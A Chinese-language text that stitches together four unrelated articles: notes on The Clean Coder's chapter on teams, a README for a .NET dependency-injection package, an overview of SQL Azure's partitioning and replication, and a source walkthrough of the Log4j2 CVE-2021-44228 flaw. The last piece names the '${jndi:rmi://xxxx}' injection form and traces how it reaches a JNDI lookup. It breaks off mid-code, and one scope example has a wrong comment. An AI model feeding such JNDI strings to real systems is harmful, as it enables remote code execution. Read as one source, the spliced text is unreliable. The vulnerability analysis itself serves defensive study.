2024年9月

代码整洁之道

image-20240904225436374

简介:

本书是编程大师“Bob 大叔”40余年编程生涯的心得体会的总结,讲解要成为真正专业的程序员需要具备什么样的态度,需要遵循什么样的原则,需要采取什么样的行动。作者以自己以及身边的同事走过的弯路、犯过的错误为例,意在为后来者引路,助其职业生涯迈上更高台阶。

本书适合所有程序员阅读,也可供所有想成为具备职业素养的职场人士参考。

第十三章 团队与项目

image-20240919070111183

小项目该如何实施?如何给程序员分派?大项目又该如何实施?

13.1 团队开发仅仅是简单的混合吗?

这几年来,我为许多银行和保险公司做过咨询。这些公司看起来有一个共同点,那就是它们都是以一种古怪的方式来分派项目的。

银行的项目通常相对比较小,
只需一到两名程序员工作几周即可

这样的项目通常会配备一名项目经理,但他同时还会管理其他若干项目;会配备一名业务分析师,但他同时也为其他项目服务;也会配备几名程序员,他们同样同时参与其他项目的工作;还会配备一到两名测试人员,他们也同时测试其他项目。看到其中的模式了吧?这些项目太小,无法把一个人的全部时间完全分配其中。每个人在项目上的投入都是以50%甚至25%的比例来计算的。

但是,不要忘了:事实上并没有半个人的这种说法。

让一个程序员把一半的时间投入在项目A中,把其余时间投入在项目B中,这并不可行,尤其是当这两个项目的项目经理不同、业务分析师不同、程序员不同、测试人员不同时,更不可行。这种丑陋的组合方式能称为团队吗?这不是团队,只是从榨汁机中榨出的混合物而已。

有凝聚力的团队:

形成团队是需要时间的。
团队成员需要首先建立关系。他们需要学习如何互相协作,需要了解彼此的癖好、强项、弱项,最终,才能凝聚成团队。

有凝聚力的团队确实有些神奇之处。
他们能够一起创造奇迹。他们互为知己,能够替对方着想,互相支持,激励对方拿出自己最好的表现。他们攻无不克。

团队的人员组成及其比例:

  • 有凝聚力的团队通常有大约12名成员。最多的可以有20人,最少可以只有3个人,但是12个人是最好的。这个团队应该配有
    程序员、测试人员和分析师
    ,同时还要有一名
    项目经理
  • 程序员算一组,测试人员和分析师算一组,两组人数比例没有固定限制,但2∶1是比较好的组合。
  • 由12个人组成的理想团队,人员配备情况是这样的:7名程序员、2名测试人员、2名分析师和1名项目经理。

团队组成人员的分工与职责:

分析师与测试人员:

  • 分析师开发需求,为需求编写自动化验收测试。测试人员也会编写自动化验收测试,但是他们两者的视角是不同的。两者虽然都写需求,但是分析师关注业务价值,而测试人员关注正确性。
  • 分析师编写成功路径场景;测试人员要关心的是那些可能出错的地方,他们编写的是失败场景和边界场景。

项目经理:
项目经理跟踪项目团队的进度,确保团队成员理解项目时间表和优先级。

监督人员
:其中有一名团队成员可能会拿出部分时间充任团队教练或Master[2]的角色,
负责确保项目进展,监督成员遵守纪律。
他们担负的职责是,如果团队因为项目压力太大选择半途而废,他们应当充当中流砥柱。

团队的发酵期:

  • 成员克服个体差异性,默契配合,彼此信任,形成真正有凝聚力的团队,是需要一些时间的,可能需要6个月,甚至1年。
  • 凝聚力一旦真正形成,就会产生一种神奇的魔力。团队的成员会一起做计划,一起解决问题,一起面对问题,一起搞定一切。
  • 团队已经有了凝聚力,但却因为项目结束了就解散这样的团队,则是极为荒谬的。最好的做法是不拆散团队,让他们继续合作,只要不断地把新项目分派给他们就行。

团队和项目,何者为先?

专业的开发组织会把项目分配给已形成凝聚力的团队,而不会围绕着项目来组建团队。一个有凝聚力的团队能够同时承接多个项目,根据成员各自的意愿、技能和能力来分配工作,会顺利完成项目。

如何管理有凝聚力的团队?

管理团队的项目速度:

每个团队都有自己的速度。团队的速度,即是指在一定时间段内团队能够完成的工作量。有些团队使用每周点数来衡量自己的速度,其中“点数”是一种关于复杂度的单位。他们对每个工作项目的特性进行分解,使用点数来估算。然后以每周能完成的点数来衡量速度。管理人员可以对分配给团队的项目设置一个目标值。

项目承包人的困境:

作为项目承包人,如果有一个专属团队完全投入在其项目上,他能够清楚计算出团队的投入是多少。他们明白,组建和解散团队代价高昂,因此公司也不会因为短期原因就调走团队。

如果项目分配给一个有凝聚力的团队,并且如果那些团队同时在做多个项目,那么在公司心血来潮时便可以改变项目的优先级。这可能会影响项目承包人对未来的安全感。他们所依赖的资源,也可能突然间便被抽走。

组建和解散团队只是人为的困难,公司不应受到它的束缚。
如果公司在业务上认为一个项目比另外一个项目的优先级更高,应该要快速重新分配资源。项目承包人的职责所在,便是清晰地定义和陈述项目的价值与意义,让项目得到公司管理层的认可和支持。

13.2 结论

团队比项目更难构建。
因此,组建稳健的团队,让团队在一个又一个项目中整体移动共同工作是较好的做法。并且,团队也可以同时承接多个项目。

在组建团队时,要给予团队充足的时间,让他们形成凝聚力,一直共同工作,成为不断交付项目的强大引擎。

DependencyInjection.StaticAccessor

前言

如何在静态方法中访问DI容器长期以来一直都是一个令人苦恼的问题,特别是对于热爱编写扩展方法的朋友。之所以会为这个问题苦恼,是因为一个特殊的服务生存期——范围内(Scoped),所谓的Scoped就是范围内单例,最常见的WebAPI/MVC中一个请求对应一个范围,所有注册为Scoped的对象在同一个请求中是单例的。如果仅仅用一个静态字段存储应用启动时创建出的
IServiceProvider
对象,那么在一个请求中通过该字段是无法正确获取当前请求中创建的Scoped对象的。

在早些时候有针对肉夹馍(Rougamo)访问DI容器发布了
一些列NuGet
,由于肉夹馍不仅能应用到实例方法上还能够应用到静态方法上,所以肉夹馍访问DI容器的根本问题就是如何在静态方法中访问DI容器。考虑到静态方法访问DI容器是一个常见的公共问题,所以现在将核心逻辑抽离成一系列单独的NuGet包,方便不使用肉夹馍的朋友使用。

快速开始

启动项目引用
DependencyInjection.StaticAccessor.Hosting

dotnet add package DependencyInjection.StaticAccessor.Hosting

非启动项目引用
DependencyInjection.StaticAccessor

dotnet add package DependencyInjection.StaticAccessor

// 1. 初始化。这里用通用主机进行演示,其他类型项目后面将分别举例
var builder = Host.CreateDefaultBuilder();

builder.UsePinnedScopeServiceProvider(); // 仅此一步完成初始化

var host = builder.Build();

host.Run();

// 2. 在任何地方获取
class Test
{
    public static void M()
    {
        var yourService = PinnedScope.ScopedServices.GetService<IYourService>();
    }
}

如上示例,通过静态属性
PinnedScope.ScopedServices
即可获取当前Scope的
IServiceProvider
对象,如果当前不在任何一个Scope中时,该属性返回根
IServiceProvider

版本说明

由于
DependencyInjection.StaticAccessor
的实现包含了通过反射访问微软官方包非public成员,官方的内部实现随着版本的迭代也在不断地变化,所以针对官方包不同版本发布了对应的版本。
DependencyInjection.StaticAccessor
的所有NuGet包都采用语义版本号格式(SemVer),其中主版本号与
Microsoft.Extensions.*
相同,次版本号为功能发布版本号,修订号为BUG修复及微小改动版本号。请各位在安装NuGet包时选择与自己引用的
Microsoft.Extensions.*
主版本号相同的最新版本。

另外需要说明的是,由于我本地创建blazor项目时只能选择.NET8.0,所以blazor相关包仅提供了8.0版本,如果确实有低版本的需求,可以到github中提交issue。

WebAPI/MVC初始化示例

启动项目引用
DependencyInjection.StaticAccessor.Hosting

dotnet add package DependencyInjection.StaticAccessor.Hosting

非启动项目引用
DependencyInjection.StaticAccessor

dotnet add package DependencyInjection.StaticAccessor

var builder = WebApplication.CreateBuilder();

builder.Host.UsePinnedScopeServiceProvider(); // 唯一初始化步骤

var app = builder.Build();

app.Run();

Blazor使用示例

Blazor的DI Scope是一个特殊的存在,在WebAssembly模式下Scoped等同于单例;而在Server模式下,Scoped对应一个SignalR连接。针对Blazor的这种特殊的Scope场景,除了初始化操作,还需要一些额外操作。

我们知道,Blazor项目在创建时可以选择交互渲染模式,除了Server模式外,其他的模式都会创建两个项目,多出来的这个项目的名称以
.Client
结尾。
这里我称
.Client
项目为Client端项目,另一个项目为Server端项目(Server模式下唯一的那个项目也称为Server端项目)。

Server端项目

  1. 安装NuGet

    启动项目引用
    DependencyInjection.StaticAccessor.Blazor


    dotnet add package DependencyInjection.StaticAccessor.Blazor


    非启动项目引用
    DependencyInjection.StaticAccessor


    dotnet add package DependencyInjection.StaticAccessor

  2. 初始化

    var builder = WebApplication.CreateBuilder();
    
    builder.Host.UsePinnedScopeServiceProvider(); // 唯一初始化步骤
    
    var app = builder.Build();
    
    app.Run();
    
  3. 页面继承
    PinnedScopeComponentBase

    推荐直接在
    _Imports.razor
    中声明。

    // _Imports.razor
    
    @inherits DependencyInjection.StaticAccessor.Blazor.PinnedScopeComponentBase
    

Client端项目

与Server端步骤基本一致,只是引用的NuGet有所区别:

  1. 安装NuGet

    启动项目引用
    DependencyInjection.StaticAccessor.Blazor.WebAssembly


    dotnet add package DependencyInjection.StaticAccessor.Blazor.WebAssembly


    非启动项目引用
    DependencyInjection.StaticAccessor


    dotnet add package DependencyInjection.StaticAccessor

  2. 初始化

    var builder = WebAssemblyHostBuilder.CreateDefault(args);
    
    builder.UsePinnedScopeServiceProvider();
    
    await builder.Build().RunAsync();
    
  3. 页面继承
    PinnedScopeComponentBase

    推荐直接在
    _Imports.razor
    中声明。

    // _Imports.razor
    
    @inherits DependencyInjection.StaticAccessor.Blazor.PinnedScopeComponentBase
    

已有自定义ComponentBase基类的解决方案

你可能会使用其他包定义的
ComponentBase
基类,由于C#不支持多继承,所以这里提供了不继承
PinnedScopeComponentBase
的解决方案。

// 假设你现在使用的ComponentBase基类是ThirdPartyComponentBase

// 定义新的基类继承ThirdPartyComponentBase
public class YourComponentBase : ThirdPartyComponentBase, IHandleEvent, IServiceProviderHolder
{
    private IServiceProvider _serviceProvider;

    [Inject]
    public IServiceProvider ServiceProvider
    {
        get => _serviceProvider;
        set
        {
            PinnedScope.Scope = new FoolScope(value);
            _serviceProvider = value;
        }
    }

    Task IHandleEvent.HandleEventAsync(EventCallbackWorkItem callback, object? arg)
    {
        return this.PinnedScopeHandleEventAsync(callback, arg);
    }
}

// _Imports.razor
@inherits YourComponentBase

其他ComponentBase基类

除了
PinnedScopeComponentBase
,还提供了
PinnedScopeOwningComponentBase

PinnedScopeLayoutComponentBase
,后续会根据需要可能会加入更多类型。如有需求,也欢迎反馈和提交PR.

注意事项

避免通过PinnedScope直接操作IServiceScope

虽然你可以通过
PinnedScope.Scope
获取当前的DI Scope,但最好不要通过该属性直接操作
IServiceScope
对象,比如调用Dispose方法,你应该通过你创建Scope时创建的变量进行操作。

不支持非通常Scope

一般日常开发时不需要关注这个问题的,通常的AspNetCore项目也不会出现这样的场景,而Blazor就是官方项目类型中一个非通常DI Scope的案例。

在解释什么是非通常Scope前,我先聊聊通常的Scope模式。我们知道DI Scope是可以嵌套的,在通常情况下,嵌套的Scope呈现的是一种栈的结构,后创建的scope先释放,井然有序。

using (var scope11 = serviceProvider.CreateScope())                    // push scope11. [scope11]
{
    using (var scope21 = scope11.ServiceProvider.CreateScope())        // push scope21. [scope11, scope21]
    {
        using (var scope31 = scope21.ServiceProvider.CreateScope())    // push scope31. [scope11, scope21, scope31]
        {

        }                                                              // pop scope31.  [scope11, scope21]

        using (var scope32 = scope21.ServiceProvider.CreateScope())    // push scope32. [scope11, scope21, scope32]
        {

        }                                                              // pop scope32.  [scope11, scope21]
    }                                                                  // pop scope21.  [scope11]

    using (var scope22 = scope11.ServiceProvider.CreateScope())        // push scope22. [scope11, scope22]
    {

    }                                                                  // pop scope22.  [scope22]
}                                                                      // pop scope11.  []

了解了通常Scope,那么就很好理解非通常Scope了,只要是不按照这种井然有序的栈结构的,那就是非通常Scope。比较常见的就是Blazor的这种情况:

我们知道,Blazor SSR通过SignalR实现SPA,一个SignalR连接对应一个DI Scope,界面上的各种事件(点击、获取焦点等)通过SignalR通知服务端回调事件函数,而这个回调便是从外部横插一脚与SignalR进行交互的,在不进行特殊处理的情况下,回调事件所属的Scope是当前回调事件新创建的Scope,但我们在回调事件中与之交互的
Component
是SignalR所属Scope创建的,这就出现了Scope交叉交互的情况。
PinnedScopeComponentBase
所做的便是在执行回调函数之前,将
PinnedScope.Scope
重设回SignalR对应Scope。

肉夹馍相关应用

正如前面所说,
DependencyInjection.StaticAccessor
的核心逻辑是从肉夹馍的DI扩展中抽离出来的,抽离后肉夹馍DI扩展将依赖于
DependencyInjection.StaticAccessor
。现在你可以直接引用
DependencyInjection.StaticAccessor
,然后直接通过
PinnedScope.Scope
与DI进行交互,但还是推荐通过肉夹馍DI扩展进行交互,DI扩展提供了一些额外的功能,稍后将一一介绍。

DI扩展包变化

Autofac相关包未发生重大变化,后续介绍的扩展包都是官方DependencyInjection的相关扩展包

本次不仅仅是一个简单的代码抽离,代码的核心实现上也有更新,更新后移出了扩展方法
CreateResolvableScope
,直接支持官方的
CreateScope

CreateAsyncScope
方法。同时扩展包
Rougamo.Extensions.DependencyInjection.AspNetCore

Rougamo.Extensions.DependencyInjection.GenericHost
合并为
Rougamo.Extensions.DependencyInjection.Microsoft

Rougamo.Extensions.DependencyInjection.Microsoft

仅定义切面类型的项目需要引用
Rougamo.Extensions.DependencyInjection.Microsoft
,启动项目根据项目类型引用
DependencyInjection.StaticAccessor
相关包即可,初始化也是仅需要完成
DependencyInjection.StaticAccessor
初始化即可。

更易用的扩展

Rougamo.Extensions.DependencyInjection.Microsoft
针对
MethodContext
提供了丰富的DI扩展方法,简化代码编写。

public class TestAttribute : AsyncMoAttribute
{
    public override ValueTask OnEntryAsync(MethodContext context)
    {
        context.GetService<ITestService>();
        context.GetRequiredService(typeof(ITestService));
        context.GetServices<ITestService>();
    }
}

从当前宿主类型实例中获取IServiceProvider

DependencyInjection.StaticAccessor
提供的是一种常用场景下获取当前Scope的
IServiceProvider
解决方案,但在千奇百怪的开发需求中,总会出现一些不寻常的DI Scope场景,比如前面介绍的
非通常Scope
,再比如Blazor。针对这种场景,肉夹馍DI扩展虽然不能帮你获取到正确的
IServiceProvider
对象,但如果你自己能够提供获取方式,肉夹馍DI扩展可以方便的集成该获取方式。

下面以Blazor为例,虽然已经针对Blazor特殊的DI Scope提供了通用解决方案,但Blazor还存在着自己的特殊场景。我们知道Blazor SSR服务生存期是整个SignalR的生存期,这个生存期可能非常长,一个生存期期间可能会创建多个页面(ComponentBase),这多个页面也将共享注册为Scoped的对象,这在某些场景下可能会存在问题(比如共享EF DBContext),所以微软提供了
OwningComponentBase
,它提供了更短的服务生存期,集成该类可以通过
ScopedServices
属性访问
IServiceProvider
对象。

// 1. 定义前锋类型,针对OwningComponentBase返回ScopedServices属性
public class OwningComponentScopeForward : SpecificPropertyFoolScopeProvider, IMethodBaseScopeForward
{
    public override string PropertyName => "ScopedServices";
}

// 2. 初始化
var builder = WebApplication.CreateBuilder();

// 初始化DependencyInjection.StaticAccessor
builder.Host.UsePinnedScopeServiceProvider();

// 注册前锋类型
builder.Services.AddMethodBaseScopeForward<OwningComponentScopeForward>();

var app = builder.Build();

app.Run();

// 3. 使用
public class TestAttribute : AsyncMoAttribute
{
    public override ValueTask OnEntryAsync(MethodContext context)
    {
        // 当TestAttribute应用到OwningComponentBase子类方法上时,ITestService将从OwningComponentBase.ScopedServices中获取
        context.GetService<ITestService>();
    }
}

除了上面示例中提供的
OwningComponentScopeForward
,还有根据字段名称获取的
SpecificFieldFoolScopeProvider
,根据宿主类型通过lambda表达式获取的
TypedFoolScopeProvider<>
,这里就不一一举例了,如果你的获取逻辑更加复杂,可以直接实现先锋类型接口
IMethodBaseScopeForward

除了前锋类型接口
IMethodBaseScopeForward
,还提供了守门员类型接口
IMethodBaseScopeGoalie
,在调用
GetService
系列扩展方法时,内部实现按 [先锋类型 -> PinnedScope.Scope.ServiceProvider -> 守门员类型 -> PinnedScope.RootServices] 的顺序尝试获取
IServiceProvider
对象。

完整示例

完整示例请访问:
https://github.com/inversionhourglass/Rougamo.DI/tree/master/samples

云上分布式SQL Server,你值得拥有

介绍
Microsoft SQL Azure 是微软的云关系型数据库,后端存储又称为云 SQL Server(Cloud SQL Server)。
它构建在 SQL Server 之上,通过分布式技术提升传统关系型数据库的可扩展性和容错能力。



数据模型


(1)逻辑模型
云 SQL Server 将数据划分为多个分区,通过限制事务只能在一个分区执行来规避分布式事务。此外,它通过主备复制(Primary-Copy)协议将数据复制到多个副本,保证高可用性。
云 SQL Server 中一个逻辑数据库称为一个表格组(table group),它既可以是有主键的,也可以是无主键的。
这里只讨论有主键的表格组。
如果一个表格组是有主键的,要求表格组中的所有表格都有一个相同的列,称为划分主键(partitioning key)。

云 SQL Server 数据模型

图中的表格组包含两个表格,顾客表(Customers)和订单表(Orders),划分主键为顾客 ID(Customers 表中的 Id 列)。

划分主键不需要是表格组中每个表格的共同唯一主键。图中,顾客 ID 是顾客表的唯一主键,但不是订单表的唯一主键。

同样,划分主键也不需要是每个表格的聚集索引,订单表的聚集索引为组合主键 <顾客 ID,订单 ID> (<Id, Oid>)。

表格组中所有划分主键相同的行集合称为行组(row group)。顾客表的第一行以及订单表的前两行的划分主键均为 30,构成一个行组。

云 SQL Server 只支持同一个行组内的事务,这就意味着,同一个行组的数据逻辑上会分布到同一台服务器。

如果表格组是有主键的,云 SQL Server 支持自动地水平拆分表格组里的表格并分散到整个集群。同一个行组总是分布在同一台物理的 SQL Server 服务器,从而避免了分布式事务。

这种的做法是避免了分布式事务的两个问题:
阻塞

性能
。当然,也限制了用户的使用模式。只读事务可以跨多个行组,但事务隔离级别最多只支持读已提交(read-committed)。


(2)物理模型
在物理层面,每个有主键的表格组根据划分主键列有序地拆分成多个数据分区(partition)。这些分区之间互相不重叠,并且覆盖了所有的划分主键值。这就意味着每个行组属于一个唯一的分区。
分区是云 SQL Server 复制、迁移、负载均衡的基本单位。每个分区包含多个副本(默认为3),每个副本存储在一台物理的 SQL Server 上。
由于每个行组属于一个分区,这也就意味着每个行组的数据量不能超过分区允许的存储上限,也就是说单台 SQL Server 的容量上限。
一般来说,同一个交换机或者同一个机架的机器同时出现故障的概率较大,因而它们属于同一个故障域(failure domain)。
云 SQL Server 保证每个分区的多个副本分布到不同的故障域。每个分区有一个副本为主副本(Primary),其他副本为备副本(Secondary)。
主副本处理所有的查询,更新事务并以事务日志的形式(类似数据库镜像的方式)将事务同步到备副本。各副本接收主副本发送的事务日志并应用到本地数据库。备副本支持读操作,可以减轻主副本的压力。


如图所示,有四个逻辑分区 PA,PB,PC,PD,每个分区有一个主副本和两个备副本。例如,PA 有一个主副本 PA_P 以及两个备副本 PA_S1 和 PA_S2。

每台物理 SQL Server 数据库混合存放了主副本和备副本。如果某台机器发生故障,它上面的分区能够很快地分散到其他活着的机器上。
分区划分是动态的,如果某个分区超过了允许的最大分区大小或者负载太高,这个分区将分裂为两个分区。
假设分区 A 的主副本在机器 X,它的备副本在机器 Y 和 Z。如果分区 A 分裂为 A1 和 A2,每个副本都需要相应地分裂为两段。
为了更好地进行负载均衡,每个副本分裂前后的角色可能不尽相同。例如,A1 的主副本仍然在机器 X,备副本在机器 Y 和机器 Z,而 A2 的主副本可能在机器 Y ,备副本在机器 X 和机器 Z。



架构
云 SQL Server 分为四个主要部分:SQL Server 实例、全局分区管理器、协议网关、分布式基础部件,如图所示。


各个部分的功能如下:
每个 SQL Server 实例是一个运行着 SQL Server 的物理进程。每个物理数据库包含多个子数据库,它们之间互相隔离。子数据库是一个分区,包含用户的数据以及 schema 信息。
全局分区管理器(Global Partition Manager)维护分区映射表信息, 包括每个分区所属的主键范围, 每个副本所在的服务器, 以及每个副本当前的状态,状态包括:副本当前是主还是备,前一次是主还是备,正在变成主,正在被拷贝,或者正在被追赶。
当服务器发生故障时,分布式基础部件检测到后会将这些信息同步到全局分区管理器。全局分区管理器接着执行重新配置操作。另外,全局分区管理器监控集群中 SQL Server 的工作状态,执行负载均衡、副本拷贝等管理操作。
协议网关(Protocol Gateway)负责将用户的数据库连接请求转发到相应的主分区上。协议网关通过全局分区管理器获取分区所在的 SQL Server 实例,后续的读写事务操作都会在网关与 SQL Server 实例之间进行。
分布式基础部件(Distributed Fabric)用于维护机器上下线状态,检测服务器故障并为集群中的各种角色执行选举主节点操作。它在每台服务器上都运行了一个守护进程。


复制与一致性
云 SQL Server 采用 “Quorum Commit” 的复制协议,用户数据存储三副本,至少写成功两副本才可以返回客户端成功。如图所示,事务 T 的主副本分区生成事务日志并发送到备副本。


如果事务 T 回滚,主副本会发送一个 ABORT 消息给备副本,备副本将删除接收到的T事务包含的修改操作。如果事务 T 提交,主副本会发送 COMMIT 消息给备副本,并带上
事务提交顺序号(Commit Sequence Number,CSN)

每个备副本会把事务 T 的修改操作应用到本地数据库并发送 ACK 消息回复主副本。如果主副本接收到一半以上节点的成功 ACK(包含主副本自身),它将在本地提交事务并成功返回客户端。
某些备副本可能出现故障,恢复后将往主副本发送本地已经提交的最后一个事务的提交顺序号CSN。如果两者相差不多,主副本将直接发送操作日志给备副本;如果两者相差太多,主副本将首先把数据库快照传给备副本,再把快照之后的操作日志传给备副本。
主副本与备副本之间传送逻辑操作日志,而不是对磁盘物理页的重做和回滚日志。数据库索引及 schema 相关操作(如创建、删除表格)也通过事务日志发送。
副本之间发送事务日志/逻辑操作日志保证各个副本的数据一致性是目前主流方案,包括TiDB, OceanBase也是采用同样的方案。
实践过程中发现了一些硬件问题,比如某些网卡会表现出错误的行为,因此对主备之间的所有消息都会做校验(checksum)。
同样,某些磁盘会出现“位翻转”错误,因此,对写入到磁盘的数据也做校验(checksum)。




容错
如果数据节点发生了故障,需要启动宕机恢复过程。每个 SQL Server 实例最多服务 650 个逻辑分区,这些分区可能是主副本,也可能是备副本。
全局分区管理器统一调度,每次选择一个分区执行重新配置(Reconfiguration)。
如果出现故障的分区是备副本,全局分区管理器首先选择一台负载较轻的服务器,接着从相应的主副本分区拷贝数据来增加副本;

如果出现故障的分区是主副本,首先需要从其他副本中选择一个最新的备副本作为新的主副本,接着选择一台负载较轻的机器增加备副本。
由于云 SQL Server 采用 "Quorum Commit" 复制协议,如果每个分区有三个副本,至少保证两个副本写入成功,主副本出现故障后选择最新的备副本可以保证不丢失数据。
全局分区管理器控制重新配置任务的优先级,否则,用户的服务会受到影响。比如某个数据分片的主副本出现故障,需要尽快从其他备副本中选择最新的备副本切换为主副本;

某个数据分片只有一个主副本,需要优先复制出备副本。 另外,某些服务器可能下线很短一段时间后重新上线,为了避免过多无用的数据拷贝,
这里还需要配置一些策略,比如只有两个副本的状态持续较长一段时间(SQL Azure 默认配置为两小时)才开始复制第三个副本。
全局分区管理器也采用
"Quorum Commit"

现高可用性。它包含七个副本(奇数),同一时刻只有一个副本为主,分区相关的元数据操作至少需要在四个副本上成功。
如果全局分区管理器主副本出现故障,分布式基础部件将负责从其他副本中选择一个最新的副本作为新的主副本



负载均衡
负载均衡相关的操作包含两种:副本迁移以及主备副本切换。新的服务器节点加入时,系统内的分区会逐步地迁移到新节点,
这里需要注意的是,为了避免过多的分区同时迁入新节点,全局分区管理器需要控制迁移的频率,否则系统整体性能会下降。
另外,如果主副本所在服务器负载过高,可以选择负载较低的备副本升级为主副本来提供读写服务。这个过程称为主备副本切换,不涉及数据拷贝。、
影响服务器节点负载的因素包括:读写次数、磁盘/内存/CPU/IO 使用量等。全局分区管理器会根据这些因素计算每个分区及每个 SQL Server 实例的负载。



多租户
云存储系统中多个用户的操作相互干扰,因此需要限制每个 SQL Azure 逻辑实例使用的系统资源:

  • 操作系统资源限制,比如 CPU、内存、写入速度等等。如果超过限制,将在 10 秒内拒绝相应的用户请求;
  • SQL Azure 逻辑数据库容量限制。每个逻辑数据库都预先设置了最大的容量,超过限制时拒绝更新请求,但允许删除操作;
  • SQL Server 物理数据库数据大小限制。超过该限制时返回客户端系统错误。


总结
Microsoft SQL Azure 基于 SQL Server,通过分布式技术提升了数据库的可扩展性和容错能力。采用主备复制和分区机制,保证数据的高可用性和一致性。
系统通过全局分区管理、负载均衡和资源限制来优化性能并确保多租户环境下的稳定运行。
SQL Server是目前比较主流并且有竞争力的产品,根据最新可靠消息,SQL Server 2025版本会内置SQL Azure 的分布式功能,再加上向量数据库和AI功能,将会世界舞台上具备更强大的竞争力。



参考文章
https://azure.microsoft.com/en-us/products/azure-sql/
https://link.springer.com/chapter/10.1007/978-1-4842-9225-9_2
https://www.sqlshack.com/azure-sql-database-connectivity-architecture/
https://learn.microsoft.com/en-us/azure/architecture/reference-architectures/n-tier/multi-region-sql-server
https://subscription.packtpub.com/book/data/9781789538854/1/ch01lvl1sec08/azure-sql-database-architecture



加入我们的微信群,与我们一起探讨数据库技术,以及SQL Server、 MySQL、PostgreSQL、MongoDB 的相关话题。
微信群仅供学习交流使用,没有任何广告或商业活动。

本文版权归作者所有,未经作者同意不得转载。

Log4j2漏洞原理

前排提醒:本篇文章基于我另外一篇总结的JNDI注入后写的,建议先看该文章进行简单了解JNDI注入:
https://blog.csdn.net/weixin_60521036/article/details/142322372
提前小结说明

Log4j2(CVE-2021-44228)漏洞造成是因为 通过
MessagePatternConverter
类进入他的
format
函数入口后需匹配判断是否存在${,若存在进入if后的
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
,最终走到了lookup函数进行jndi注入。
那么我们待会分析就从
MessagePatternConverter

format
函数开始剖析源码。

漏洞根因

参考了网上的文章后,总结发现其实只需要理解最关键和知道几个函数调用栈就能够理解log4j漏洞是怎么造成了。

调用链源码分析

1.首先是打点走到MessagePatternConverter的format函数,这里是事故发生地。
在这里插入图片描述
2.看黄色框,进入if,log4j2漏洞正式开始
在这里插入图片描述
3.注意看这里是匹配
$

{
这里真就匹配这两个,不要觉得说不对称为啥不多匹配一个
}
,就是找到你是否用了
${}
这种格式,用了的话就进到里面做深一步的操作。
(注:这里不会做递归,假如你
${${}}
,递归那一步需要继续看我后面的解释)
在这里插入图片描述
4.看黄色框,
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
,这里有两点很重要,
getStrSubstitutor

replace

先进行getStrSubstitutor,获取一个StrSubstitutor的对象,接着StrSubstitutor执行replace方法。
在这里插入图片描述
5.这里需要跟进replace方法,他会执行
substitute
方法。
substitute
函数很重要,需要继续跟进他。
在这里插入图片描述
6.进到
substitute
里面他主要做了以下操作

  • 1.
    prefixMatcher.isMatch
    来匹配
    ${
  • 2.
    suffixMatcher.isMatch
    来匹配
    }

如果说匹配到存在
${xxx}
这种数据在的话,就进入到递归继续substitute执行,直到不存在
${xxx}
这种数据为止。(这里就是为了解决
${${}}
这种嵌套问题),那么这里也就解决了上面说为啥一开始进入format函数那里,只匹配
${
而不匹配完整的
${}
的疑惑了,进入到这里面才会继续判断,而且还能帮你解决
${${}}
这种双重嵌套问题。
在这里插入图片描述
7.这个substitute递归完出来后或者说没有继续进到substitute里面的话,下一行代码就是:varNameExpr = bufName.toString(); 作用是取出
${xxxxx}
其中的xxxx数据。
注意是取出来你
${xxx}
里面xxx数据,这里还没进行jndi的注入解析,所以不是解析结果而是取出你注入的代码。
在这里插入图片描述
8.进if里就是 取
varName与varDefaultValue
,检测:和-为了分割出来的jndi与rmi://xxxx。这里不是说真的开发者故意写个函数去为了分割我们的恶意代码,而是这个功能就是这样,恰好我们利用了他而已。这里的函数就不跟进了,了解他就是进行了分割即可,拿到
varName与varDefaultValue

注:再提醒一次,当我们传入的是jndi:rmi://xxxx的时候,这里的
varName与varDefaultValue
取出就是
jndi
和后面的
rmi://xxxx
在这里插入图片描述
9.代码再往下走到会看到
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
,这里我们需要跟进resolveVariable才能继续深入看到jndi的执行。

在这里插入图片描述
10.到了这里终于看到lookup字眼了。
首先你需要知道:
resolver = getVariableResolver() 是获得一个实现StrLookup接口的对象,命名为resolver
其次看到后面
return resolver.lookup(event, variableName);
这里就是返回结果,也就是说这里lookup是执行了结果返回了,为了更加有说服力,这里就继续跟进lookup看他是怎么执行的,毕竟这里的jndi注入和之前不同,多了
jndi:
,而不是传统的直接使用
rmi://xxxx

在这里插入图片描述

11.这里可以看到通过
prefix
取出
:
前的
jndi
,然后再取出后面的
rmi://xxxx
那么也就说这个lookup函数体内部作用是
通过:字符分割
,然后通过传入
jndi
四个字符到
strlookupmap.get

找到jndi访问地址
然后截取到后面的
rmi
用找到的
jndi访问地址

lookup
,那么最后可以看到就是拿到jndi的lookup对象去lookup查询。
在这里插入图片描述
在这里插入图片描述

到这就分析结束了。

substitute
函数体里部分代码如下所示:
(没有第11步的lookup函数体源码,下面是关于
substitute
的代码)

        while (pos < bufEnd) {
            final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); // prefixMatcher用来匹配是否前两个字符是${
            if (startMatchLen == 0) {
                pos++;
            } else {
                // found variable start marker,如果来到这里的话那么就说明了匹配到了${字符
                if (pos > offset && chars[pos - 1] == escape) {
                    // escaped
                    buf.deleteCharAt(pos - 1);
                    chars = getChars(buf);
                    lengthChange--;
                    altered = true;
                    bufEnd--;
                } else {
                    // find suffix,寻找后缀}符号
                    final int startPos = pos;
                    pos += startMatchLen;
                    int endMatchLen = 0;
                    int nestedVarCount = 0;
                    while (pos < bufEnd) {
                        if (substitutionInVariablesEnabled
                                && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
                            // found a nested variable start
                            nestedVarCount++;
                            pos += endMatchLen;
                            continue;
                        }
 
                        endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
                        if (endMatchLen == 0) {
                            pos++;
                        } else {
                            // found variable end marker
                            if (nestedVarCount == 0) {
                                String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
                                if (substitutionInVariablesEnabled) {
                                    final StringBuilder bufName = new StringBuilder(varNameExpr);
                                    substitute(event, bufName, 0, bufName.length()); // 递归调用
                                    varNameExpr = bufName.toString();
                                }
                                pos += endMatchLen;
                                final int endPos = pos;
 
                                String varName = varNameExpr;
                                String varDefaultValue = null;
 
                                if (valueDelimiterMatcher != null) {
                                    final char [] varNameExprChars = varNameExpr.toCharArray();
                                    int valueDelimiterMatchLen = 0;
                                    for (int i = 0; i < varNameExprChars.length; i++) {
                                        // if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
                                        if (!substitutionInVariablesEnabled
